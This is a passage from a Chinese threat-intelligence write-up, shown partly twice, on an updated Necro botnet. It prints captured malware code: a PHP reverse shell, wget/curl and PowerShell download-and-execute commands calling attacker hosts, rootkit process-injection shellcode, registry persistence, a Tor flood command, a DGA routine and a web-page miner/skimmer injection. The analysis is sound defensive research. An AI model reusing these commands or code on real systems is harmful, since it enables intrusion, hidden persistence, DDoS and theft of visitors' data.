os.startfile(os.getenv('USERPROFILE') + '\\$6829.exe')
os.kill(os.getpid(),9)
except:
pass
else:
</code></pre>
<p>然后Necro会根据平台选择下载一个名为<code>x86.dll</code> 或 <code>x64.dll</code>的文件：</p>
<pre><code class="language-python"> try:
shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\$6829.exe')
except:
pass
try:
if platform.architecture()[0].replace("bit","") == "32":
eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())
else:
eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())
threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()
except:
pass
</code></pre>
<p>这个dll文件对应一个开源的Rootkit项目 <a href="https://github.com/bytecode77/r77-rootkit">r77-rootkit</a>，根据项目描述它能全面隐藏特定进程：</p>
<pre><code>r77 is a ring 3 Rootkit that hides following entities from all processes:
Files, directories, named pipes, scheduled tasks
Processes
CPU usage
Registry keys & values
TCP & UDP connections
It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.
</code></pre>
<p>接下来Necro会使用一段shellcode采用进程注入的方式加载这个rootkit，这段代码来自另一个开源项目<a href="https://github.com/monoxgas/sRDI/blob/master/Python/ShellcodeRDI.py">sRDI</a>，shellcode的使用如下：</p>
<pre><code class="language-python"> # 把rootkit和shellcode组装在一起
...
gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)
gwObVdGd += b'\x00\x00\x00'
gwObVdGd += b'\x48\x89\xf4'
gwObVdGd += b'\x5e'
gwObVdGd += b'\xc3'
if len(gwObVdGd) != ObianOdA:
raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo
else:
...
gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions
gwObVdGd += b'\x00\x00\x00'
gwObVdGd += b'\x83\xc4\x14'
gwObVdGd += b'\xc9'
gwObVdGd += b'\xc3'
if len(gwObVdGd) != ObianOdA:
raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW
# 注入进程
FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)
if not FfyiMaCpdR:
cJaQhosf -= 1
return
llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)
windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)
if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):
</code></pre>
<p>最后Necro会注册自启动项到<code>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>:</p>
<pre><code class="language-python"> if os.name == 'nt':
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\$6829.exe ' + os.path.r)
windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)
except:
pass
</code></pre>
<h3 id="tor">使用Tor通信</h3>
<p>因为在<a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>中已经见过KekSec团伙使用Tor来隐藏真实C2，所以我们对新版的Necro支持Tor并不感到意外。令我们意外的是Necro居然集成了一种基于Tor代理DDoS攻击方法。</p>
<p>Tor C2通信代码如下，能看到其中集成了多个Tor代理的IP和端口。</p>
<pre><code class="language-python">try:
import socks
except:
f=open('socks.py', "w")
f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())
f.close()
try:
import socks
except:
exit(1)
try:
os.remove('socks.py')
os.remove('socks.pyc')
except:
pass
server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']
...
self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'
self.AJEwioE='#freakyonionz'
self.Ajiowfe='FUCKWHITEHATZ'
...
</code></pre>
<p>新加入的DDoS攻击方法 <code>torflood</code>的代码如下：</p>
<pre><code class="language-python"> elif CjoRjhoMj[3]==":" + self.cmdprefix + 'torflood':
try:
import socks
except:
...
self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\n' % (MZqyBxdoS))
for i in range(0, int(CjoRjhoMj[7])):
threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()
self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))
</code></pre>
<h3 id="dga">子域名DGA+动态域名</h3>
<p>新版Necro更新了DGA机制，采用DGA生成子域名，然后配合动态域名生成最终的C2域名。从代码里我们可以看到候选的动态域名服务高达30个。</p>
<pre><code class="language-python">zMuBHdcdB=0
while zMuBHdcdB < 0xcc:
zMuBHdcdB+=1
random.seed(a=0x7774DEAD + zMuBHdcdB)
RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()
RaRdhjkniVY+="."+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])
print RaRdhjkniVY
</code></pre>
<p>我们监测到有9个域名已经启动，从解析记录看有些域名绑定了IPv6地址：</p>
<pre><code>2021-03-09 10:50:50 2021-03-12 16:10:45 ntxkg0la99w.zapto.org
2021-03-12 08:19:49 2021-03-12 08:19:49 xxdqj6xbjpkzhk7k.servemp3.com
2021-03-12 10:35:11 2021-03-12 10:35:11 qb7opowcawiagia.viewdns.net
2021-03-12 08:46:28 2021-03-12 08:46:28 v5jke3mv89fjvxgd.serveftp.com
2021-03-12 14:59:54 2021-03-12 14:59:54 nwpzhm8ziyhdzm.redirectme.net
2021-03-12 03:12:07 2021-03-12 03:12:07 m1afommgsdowkmegc.redirectme.net
2021-03-12 04:56:47 2021-03-12 04:56:47 ewmhkvdcoj3.servemp3.com
2021-03-12 08:38:17 2021-03-12 08:38:17 tfcxvcg0lkc9vpx.myftp.org
2021-03-12 06:48:19 2021-03-12 06:48:19 bdcauhuzk0d.viewdns.net
</code></pre>
<h3 id="js">JS挂马</h3>
<p>Necro的挂马功能主要目的是在Web页面嵌入挖矿代码，这意味着当终端用户使用手机、PC或是其它设备浏览失陷设备（包括服务器和NAS设备）的相关Web页面时，可能沦为矿机并泄露敏感信息。</p>
<pre><code> elif CjoRjhoMj[3]==":" + self.cmdprefix + 'injectcount':
self.commSock.send('PRIVMSG %s :I have injected into %s files total\n' % (MZqyBxdoS, self.AkvElneS))
elif CjoRjhoMj[3]==":" + self.cmdprefix + 'reinject':
threading.Thread(target=self.OLkEqimhli).start()
self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\n' % (MZqyBxdoS))
</code></pre>
<p>Necro会先遍历被感染设备指定目录的<code>'*.js', '*.html', '*.htm', '*.php'</code>文件，寻找注入目标：</p>
<pre><code>if os.name != "nt":
self.AkvElneS=0
for fkEoBpoAxpZc in [ele for ele in os.listdir("/") if ele not in ['proc', "bin", 'sbin', 'sbin', "dev", "lib", 'lib64', 'lost+found', "sys", 'boot', "etc"]]:
for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:
for oGADwYHVg in os.popen("find \"/" + fkEoBpoAxpZc + "\" -type f -name \"" + hfHpWZSupopK + "\"").read().split("\n"):
oGADwYHVg = oGADwYHVg.replace("\r", "").replace("\n", "")
if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and "npm" not in oGADwYHVg and oGADwYHVg != "":
self.chLYewdc(oGADwYHVg)
</code></pre>
<p>一旦找到目标，Necro就会向文件中插入一段代码：</p>
<pre><code>MnPbIqasMz=open(oGADwYHVg,"rb")
mkkzygnopRnB=MnPbIqasMz.read()
MnPbIqasMz.close()
fPSqTAZGgcep = kdYaxMPRdP(8)
OGipqKBSmmTb = kdYaxMPRdP(8)
hgOlaeQcQza = b64encode("//" + self.injectCOxhTEJfB + '/campaign.js')
fwEiSidxlgH='(function(' + OGipqKBSmmTb + ", " + fPSqTAZGgcep + ") {" + fPSqTAZGgcep + " = " + OGipqKBSmmTb + ".createElement('script');" + fPSqTAZGgcep + ".type = 'text/javascript';" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + ".src = atob('" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + "'.replace(/" + IoMfNcaVcJL + "/gi, '')) + '?' + String(Math.random()).replace('0.','');" + OGipqKBSmmTb + ".getElementsByTagName('body')[0].appendChild(" + fPSqTAZGgcep + ');}(document));'
...
else:
if oGADwYHVg.endswith(".js"):
if 'var ' in mkkzygnopRnB:
mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)
self.AkvElneS+=1
wQARXUaaF = True
else:
if '</body' in mkkzygnopRnB:
mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '"' + 'text/javascript' + '"' + ">" + fwEiSidxlgH + '</script></body', 1)
self.AkvElneS+=1
wQARXUaaF = True
if wQARXUaaF:
MnPbIqasMz=open(oGADwYHVg, "wb")
</code></pre>
<p>被感染的页面会多出如下代码：</p>
<pre><code>(function(v2, v1) {
v1 = v2.createElement('script');
v1.type = 'text/javascript';
v1.async = true;
v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');
v2.getElementsByTagName('body')[0].appendChild(v1);
}(document));
</code></pre>
<p>这一小段代码会链接到一个脚本 <code>hxxp[:]//ublock-referer.dev/campaign.js</code> 。通过我们的WebInsight可以看到最近1周内有300+网站被Necro感染。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/ttt-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>campaign.js 是一个高度混淆的javascript代码，在VT上的检测率为0：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/campaign_js_vt_0detect.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>代码使用了两层混淆，解码后发现它同样源自一个开源项目<a href="https://github.com/Antonio24/Cloud9/blob/master/campaign.js">Cloud9</a>，不同的是把原始版本的exploit功能去掉了，修改了部分代码的逻辑和接口名，加入了挖矿的功能。</p>
<p>修改后的Bot主要有三部分功能：</p>
<ul>
<li>挖矿：所有访问失陷网站的用户，浏览器都会加载一个挖矿js脚本：<code>hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2</code></li>
<li>用户信息窃取：代码会监控<code>unload/beforeunload/popstate/pagehide</code> 4个事件，然后通过如下两个接口上报数据</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:left">对应接口</th>
<th style="text-align:left">功能</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">/l.php</td>
<td style="text-align:left">上报键盘记录</td>
</tr>
<tr>
<td style="text-align:left">/f.php</td>
<td style="text-align:left">上报表单数据</td>
</tr>
</tbody>
</table>
<ul>
<li>执行指令：用户访问失陷网站的过程中，会通过 “/api.php” 接口上报一般性信息，并获取指令。一次可以获取多个指令，对应功能如下：</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:left">指令</th>
<th style="text-align:left">功能</th>
<th style="text-align:center">接口</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">cookie</td>
<td style="text-align:left">上报cookie信息</td>
<td style="text-align:center">/c.php</td>
</tr>
<tr>
<td style="text-align:left">clipboard</td>
<td style="text-align:left">上报剪切板信息</td>
<td style="text-align:center">/cb.php</td>
</tr>
<tr>
<td style="text-align:left">view</td>
<td style="text-align:left">会通过加载iframe来实时加载任意链接内容</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">post</td>
<td style="text-align:left">会向目标post指定内容</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">floodpost</td>
<td style="text-align:left">会向目标周期性post指定内容用以达到DDoS的效果</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">load</td>
<td style="text-align:left">会通过周期性添加Image对象并请求指定资源链接来达到DDoS效果</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">antiddos</td>
<td style="text-align:left">会通过周期添加iframe，并在加载目标链接后添加随机数字串来和抗D对抗</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">layer4</td>
<td style="text-align:left">会周期性向目标post指定长度范围的随机内容（DDoS）</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">jack</td>
<td style="text-align:left">通过iframe来加载指定内容，并能指定大小，并设定根据窗口改变来调整位置</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">eval</td>
<td style="text-align:left">通过eval方法来执行任意代码</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">md5/sha1</td>
<td style="text-align:left">通过指定的长度范围和码表来进行hash爆破，成功后上报</td>
<td style="text-align:center">/h.php</td>
</tr>
<tr>
<td style="text-align:left"></td>
<td style="text-align:left"></td>
<td style="text-align:center"></td>
</tr>
</tbody>
</table>
<p>对应的C2还是<code>hxxp[:]//ublock-referer.dev/</code>，根据被攻陷的网站的协议做http/https兼容：</p>
<pre><code>master = window["location"]["protocol"] + "//ublock-referer.dev";
APIKey = "callbackScript";
</code></pre>
<p>网址<code>hxxps[:]//ublock-referer.dev</code>还用来下载恶意的FireFox插件<code>ublock_referer-1.0.0-an+fx.xpi</code>，插件使用的代码正是上述Javascript Bot <a href="https://github.com/Antonio24/Cloud9/blob/master/campaign.js">Cloud9</a>。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/malware_firefox_addone.PNG" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="">代码混淆算法</h3>
<p>新版Necro放弃了原来简单的变量名替换算法，自己实现了一个简单的基于抽象语法树<a href="https://docs.python.org/3/library/ast.html">AST</a>的代码变形算法，实现了对象名称的全完随机化，且混淆的代码覆盖度更高，结果就是新版的Necro样本VT检出率为0。</p>
<pre><code>dDojPSRD=open(ULTiBINyz,"rb")
CFiLMBZFoL=YuvmSyETZ=dDojPSRD.read()
dDojPSRD.close()
p = ast.parse(CFiLMBZFoL)
MiaFfQWZhb().visit(p)
for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):
...
EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})
for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:
aPpaAZnhc.append(mFVUeqoHs.name)
EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
for ubhohFYJDo in EqDdlmuEhx:
for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:
if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:
aPpaAZnhc.append(mFVUeqoHs.name)
...
hkaxeZCocag=open(ULTiBINyz,"wb")
</code></pre>
<h2 id="">小结</h2>
<p>从Necro被发现以来，我们就一直持续关注并跟踪这一僵尸网络，并关联到背后的KekSec团伙，发现了他们更多的攻击Linux设备的活动。未来我们会继续关注Necro及其团伙，有新的发现将及时公开。</p>
<h2 id="ioc">IOC</h2>
<ul>
<li>Tor C2</li>
</ul>
<pre><code>faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion
</code></pre>
<ul>
<li>Download URL</li>
</ul>
<pre><code>http://ntxkg0la99w.zapto.org/setup.py
http://kek.gay/benchmark.py
http://kek.gay/x86.dll
http://kek.gay/x64.dll
http://kek.gay/xmrig1.py
http://kek.gay/xmrig1
http://kek.gay/py.exe
</code></pre>
<ul>
<li>JS Miner/Bot 相关</li>
</ul>
<pre><code>https://cloud-miner.de/*
https://ublock-referer.dev/*
</code></pre>
<ul>
<li>Tor Proxy</li>
</ul>
<pre><code>77.238.128.166:9050
192.248.190.123:8017
192.248.190.123:8009
213.251.238.186:9050
178.62.242.15:9107
88.198.82.11:9051
52.3.115.71:9050
83.217.28.46:9050
147.135.208.44:9095
188.166.34.137:9000
103.233.206.22:179
161.97.71.22:9000
54.161.239.214:9050
194.5.178.150:666
144.91.74.241:9080
134.209.230.13:8080
201.40.122.152:9050
206.81.27.29:8080
127.0.0.1:9050
</code></pre>
<!--kg-card-end: markdown--> | 版权
版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
自从我们1月份公开Necro后不久，它就停止了传播，但从3月2号开始，BotMon系统检测到Necro再次开始传播。蜜罐数据显示本次传播所用的漏洞除了之前的TerraMaster RCE（CVE_2020_35665）和Zend RCE (CVE-2021-3007)，又加入了两个较新的漏洞Laravel RCE (CVE-2021-3129)和WebLogic RCE (CVE-2020-14882)，蜜罐相关捕获记录如下图所示。
通过样本分析我们发现在沉寂一个月之后新版本的Necro有了较大改动，功能进一步加强，体现在：
1. 开始攻击Windws系统，并在Windows平台上使用Rootkit隐藏自身。
2. 更新了DGA机制，采用“子域名DGA+动态域名”的方法生成C2域名。
3. C2通信支持Tor，同时加入了一种新的基于Tor的DDoS攻击方法。
4. 能针对特定Linux目标传播Gafgyt_tor。
5. 能篡改受害机器上的Web服务页面，实现浏览器挖矿，窃取用户数据，并将失陷网站用户的浏览器变为bot打DDoS攻击、做hash爆破等。
本月初我们公开过Gafgyt_tor，并指出它与Necro来自同一团伙，即所谓的Keksec团伙。从时间上看，他们在Necro之后开始传播Gafgyt_tor，但也在同步更新Necro，增加新的特性，完整的功能如下图所示。
值得说明的是，我们先后见过2种新版本的样本，分别采用Tor C2和“子域名DGA+动态域名”生成的C2域名，说明新版本也是在不断更新的,符合Necro作者一贯的风格：边分发边升级。下面我们分别从传播、C2通信和攻击等各个维度对新版样本进行分析。
样本分析
扫描和传播
*
Laravel RCE (CVE-2021-3129)
该漏洞的exploit使用了反向shell的方式先下载一个bash脚本，如下图所示：
ZCgAMCXTa='php -r \'$sock=fsockopen("'+self.YxqCRypO+'",9999);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\''
ZCgAMCXTa=ZCgAMCXTa.replace('/', '\/')
下载到的bash脚本功能如下：
1. 下载并执行另一个脚本malware.sh。
2. 下载并执行Gafgyt_tor。
3. 下载并执行挖矿程序。
下面是我们捕获到一个bash脚本：
wget http://kek.gay/malware.sh -O malware.sh
sh malware.sh
rm -f malware.sh
cd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;
wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f IObeENwjx64
...
export ARGS="-o 45.145.185.83:9050"
export LINE="[ ! -f /tmp/.apid ] && echo > /tmp/.apid;./.1/sshd $ARGS >> /dev/null;./.2/sshd $ARGS >> /dev/null &"
echo "$LINE" > ./.backup.sh
curl http://45.145.185.83/xmrig1 -O
wget http://45.145.185.83/xmrig1 -O xmrig1
mkdir ./.1;mv -f xmrig1 ./.1/sshd
...
chmod +x ./.backup.sh;
sh ./.backup.sh &
exit
其中malware.sh脚本用于下载并执行新版本的Necro，内容如下所示：
#pkill -9 python
wget http://45.144.225.96/benchmark.py -O benchmark.py
python benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py
*
WebLogic RCE (CVE-2020-14882)
该漏洞有2个exploits,分别针对Linux和Windows系统。
1. 针对Linux系统的exploit使用了bash，它会同时下载并执行Necro（setup.py）和挖矿程序。
cd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r "file_put_contents(\\".setup\\", file_get_contents(\\"http://DOMAIN/setup\\"));";curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r "file_put_contents(\\".setup.py\\", file_get_contents(\\"http://DOMAIN/setup.py\\"));";curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS="-o DOMAIN:9050";LINE="[ ! -f $DIR/.pidfile ] && echo > $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS >> /dev/null||./sshd $ARGS >> /dev/null &";cd $DIR;echo "$LINE" > $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh
2. 针对Windows平台的exploit使用了Powershell，它会先下载打包好的Pyhton2.7可执行环境（py.exe）,然后下载并执行Necro（setup.py）
"@powershell -NoProfile -ExecutionPolicy unrestricted -Command \"(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\" & .\python.exe setup.py
攻击Windows系统
从上面的分析可知有些WebLogic服务器是运行在Windows操作系统上的，KekSec团伙显然对这些主机也很感兴趣。样本启动后如果检测到底层操作系统为Windows则会把py.exe复制到USERPROFILE\\$6829.exe，代码如下图所示：
if os.name == 'nt':
try:
sys.argv[1]
except IndexError:
subprocess.Popen(GetCommandLine() + " 1", creationflags=8, close_fds=True)
os.kill(os.getpid(),9)
ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)
if GetLastError() == ERROR_ALREADY_EXISTS:
os.kill(os.getpid(),9)
if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):
try:
shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\$6829.exe')
os.startfile(os.getenv('USERPROFILE') + '\\$6829.exe')
os.kill(os.getpid(),9)
except:
pass
else:
然后Necro会根据平台选择下载一个名为x86.dll 或 x64.dll的文件：
try:
shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\$6829.exe')
except:
pass
try:
if platform.architecture()[0].replace("bit","") == "32":
eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())
else:
eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())
threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()
except:
pass
这个dll文件对应一个开源的Rootkit项目 r77-rootkit，根据项目描述它能全面隐藏特定进程：
r77 is a ring 3 Rootkit that hides following entities from all processes:
Files, directories, named pipes, scheduled tasks
Processes
CPU usage
Registry keys & values
TCP & UDP connections
It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.
接下来Necro会使用一段shellcode采用进程注入的方式加载这个rootkit，这段代码来自另一个开源项目sRDI，shellcode的使用如下：
# 把rootkit和shellcode组装在一起
...
gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)
gwObVdGd += b'\x00\x00\x00'
gwObVdGd += b'\x48\x89\xf4'
gwObVdGd += b'\x5e'
gwObVdGd += b'\xc3'
if len(gwObVdGd) != ObianOdA:
raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo
else:
...
gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions
gwObVdGd += b'\x00\x00\x00'
gwObVdGd += b'\x83\xc4\x14'
gwObVdGd += b'\xc9'
gwObVdGd += b'\xc3'
if len(gwObVdGd) != ObianOdA:
raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW
# 注入进程
FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)
if not FfyiMaCpdR:
cJaQhosf -= 1
return
llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)
windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)
if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):
最后Necro会注册自启动项到SOFTWARE\Microsoft\Windows\CurrentVersion\Run:
if os.name == 'nt':
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\$6829.exe ' + os.path.r)
windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)
except:
pass
使用Tor通信
因为在Gafgyt_tor中已经见过KekSec团伙使用Tor来隐藏真实C2，所以我们对新版的Necro支持Tor并不感到意外。令我们意外的是Necro居然集成了一种基于Tor代理DDoS攻击方法。
Tor C2通信代码如下，能看到其中集成了多个Tor代理的IP和端口。
try:
import socks
except:
f=open('socks.py', "w")
f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())
f.close()
try:
import socks
except:
exit(1)
try:
os.remove('socks.py')
os.remove('socks.pyc')
except:
pass
server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']
...
self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'
self.AJEwioE='#freakyonionz'
self.Ajiowfe='FUCKWHITEHATZ'
...
新加入的DDoS攻击方法 torflood的代码如下：
elif CjoRjhoMj[3]==":" + self.cmdprefix + 'torflood':
try:
import socks
except:
...
self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\n' % (MZqyBxdoS))
for i in range(0, int(CjoRjhoMj[7])):
threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()
self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))
子域名DGA+动态域名
新版Necro更新了DGA机制，采用DGA生成子域名，然后配合动态域名生成最终的C2域名。从代码里我们可以看到候选的动态域名服务高达30个。
zMuBHdcdB=0
while zMuBHdcdB < 0xcc:
zMuBHdcdB+=1
random.seed(a=0x7774DEAD + zMuBHdcdB)
RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()
